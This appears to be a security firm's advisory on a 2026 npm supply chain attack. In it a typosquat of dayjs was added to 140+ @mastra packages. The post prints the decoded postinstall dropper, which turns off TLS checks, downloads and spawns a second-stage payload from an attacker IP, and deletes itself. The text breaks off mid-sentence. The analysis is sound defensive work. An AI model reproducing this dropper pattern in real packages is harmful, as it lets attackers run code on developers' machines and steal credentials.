Mastra NPM Supply Chain Attack: 140 Packages Backdoor via easy-day-JS Typosquat On June 17, 2026, an attacker compromised the @mastra npm organization and added the typosquat package easy-day-js as a dependency across 140+ Mastra AI framework packages, exposing over 1.1 million weekly downloads to a postinstall dropper that downloaded and executed a second-stage payload from attacker-controlled servers. The attack began with a clean bait package on June 16, followed by a malicious update on June 17 that automatically infected all fresh installations due to npm's version resolution. The Mastra framework's access to sensitive credentials like LLM API keys and cloud provider tokens makes this a high-value supply chain attack. Summary On June 17, 2026, an attacker compromised the @mastra npm organization and quietly added easy-day-js as a dependency across 140+ packages in the Mastra AI framework ecosystem. easy-day-js is a typosquat of the popular dayjs date library, and its latest version contained an obfuscated postinstall dropper that downloaded and ran a second-stage payload from attacker-controlled servers, then deleted itself to remove any trace. Packages with a combined weekly download count exceeding 1.1 million were exposed. If you installed any @mastra package today, treat your environment as compromised. This is an ongoing attack. Additional @mastra packages are continuing to be compromised as we publish this post. we will continue to update our blog post with additional findings. We have responsibly disclosed this issue in mastra-ai-repo: https://github.com/mastra-ai/mastra/issues/18045 https://github.com/mastra-ai/mastra/issues/18045 Background: The Mastra AI Framework Mastra is a rapidly growing open-source TypeScript framework for building AI agents, multi-step workflows, and retrieval-augmented generation RAG pipelines. It provides native integrations for major LLM providers OpenAI, Anthropic, Google , persistent agent memory, Model Context Protocol MCP servers, vector databases, and cloud deployment targets. Because Mastra sits at the intersection of AI development and cloud infrastructure, its packages are routinely installed in environments that hold some of the most sensitive credentials in modern software development: - LLM API keys OPENAI API KEY , ANTHROPIC API KEY , GOOGLE API KEY - Cloud provider credentials AWS ACCESS KEY ID , AWS SECRET ACCESS KEY , AZURE TENANT ID - Database connection strings and tokens - CI/CD secrets and VCS tokens GITHUB TOKEN , NPM TOKEN This makes the Mastra ecosystem an exceptionally high-value target for supply chain attackers. How the Attack Unfolded Stage 0 Pre-positioning: The Clean Bait Package June 16 The attack actually started the day before. On June 16, 2026 at 07:05 UTC, npm user sergey2016 published easy-day-js@1.11.21 , a clean, fully functional copy of the legitimate dayjs date library with no malicious code at all. Its only purpose was to look credible. The package mirrors dayjs 's version numbering 1.11.x , author metadata iamkun , homepage, repository URL, license, and keywords, so it could pass a casual visual inspection without raising flags. This bait version not the malicious one was what got injected into the @mastra packages as a dependency. The trick is in how npm resolves versions: the dependency was pinned as "easy-day-js": "^1.11.21" , which means npm always resolves to the latest matching version at install time. So once the attacker published the malicious 1.11.22 , every fresh npm install would automatically pull the payload without needing any further changes to the @mastra packages themselves. Stage 1 Payload Upload June 17, 01:01 UTC At 01:01 UTC on June 17, sergey2016 published easy-day-js@1.11.22 . This version is identical to 1.11.21 with one addition: a file named setup.cjs 4,572 bytes and a postinstall hook that executes it: "postinstall": "node setup.cjs --no-warnings" The --no-warnings flag suppresses Node.js runtime warnings that might tip off the user. The setup.cjs file itself is obfuscated using a custom-alphabet Base64 scheme backed by a 40-element string array that has to be rotated 34 positions before an arithmetic integrity check passes. This is specifically designed to trip up static analysis tools that evaluate the string array before the rotation runs. Stage 2 @mastra Organization Compromise & Mass Publish 01:12–02:39 UTC Just 11 minutes after uploading the payload, the attacker used compromised @mastra organization credentials to kick off an automated publishing campaign. Over the next 88 minutes, 140+ packages across the entire Mastra ecosystem were republished with easy-day-js quietly added as a production dependency. The cadence makes it obvious this wasn't manual. Packages were arriving in tightly spaced clusters throughout the window, consistent with a script that enumerated the full @mastra organization and processed packages in batches. Stage 3 Dropper Execution at Install Time When a developer runs npm install @mastra/core or any of the infected packages , npm resolves easy-day-js to version 1.11.22 , the latest patch matching ^1.11.21 , and automatically runs its postinstall hook. The obfuscated setup.cjs then executes the following logic: js 'use strict'; const child process = require 'node:child process' ; const crypto = require 'node:crypto' ; const fs = require 'node:fs' ; const os = require 'node:os' ; const path = require 'node:path' ; // Disable TLS certificate verification process.env.NODE TLS REJECT UNAUTHORIZED = '0'; async = { try { const stage2Url = 'https://23.254.164.92:8000/update/49890878'; const stage2C2 = '23.254.164.123:443'; // Write install beacon to temp directory fs.writeFileSync path.join os.tmpdir , '.pkg history' , dirname, 'utf-8' ; fs.writeFileSync path.join os.tmpdir , '.pkg logs' , pkgMarker ; // Download stage-2 payload TLS disabled const payload = await await fetch stage2Url .text ; // Write to random-named file and spawn as detached background process const filename = crypto.randomBytes 12 .toString 'hex' + '.js'; const filepath = path.join os.tmpdir , filename ; fs.writeFileSync filepath, payload, 'utf8' ; child process.spawn process.execPath, filepath, stage2C2 , { cwd: os.tmpdir , detached: true, stdio: 'ignore', windowsHide: true } .unref ; } catch {} finally { // Self-delete to destroy forensic evidence fs.rmSync filename, { force: true } ; } } ; Several behaviors make this dropper particularly effective at evading detection: TLS certificate bypass. Setting NODE TLS REJECT UNAUTHORIZED=0 lets the dropper reach the C2 server even if it uses a self-signed certificate, so a bad cert won't cause a visible download failure. Beaconing. Before fetching the payload, the dropper writes the package's full installation path dirname to